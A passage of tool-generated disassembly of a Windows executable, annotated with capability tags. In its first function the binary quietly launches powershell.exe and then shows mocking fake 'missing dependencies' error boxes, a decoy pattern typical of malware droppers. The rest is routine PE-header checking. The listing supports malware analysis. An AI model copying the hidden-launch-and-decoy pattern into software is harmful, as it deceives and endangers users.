mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, str.powershell.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x10
lea r8, str.Error:_0x666
lea rdx, str.Looks_like_you_are_missing_some_dependencies:_braincells
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x1400011e6
mov r9d, 0x10
lea r8, str.Error:_0x777
lea rdx, str.Looks_like_you_are_missing_some_dependencies:_Vegeta
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.140001290
add rsp, 0x2b8
ret

Function at 0x140001cc0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001d0a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001d0a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001d0a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001d0a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001d0a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001d0c
xor al, al
add rsp, 0x28
ret

Function at 0x140005da8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140005ba4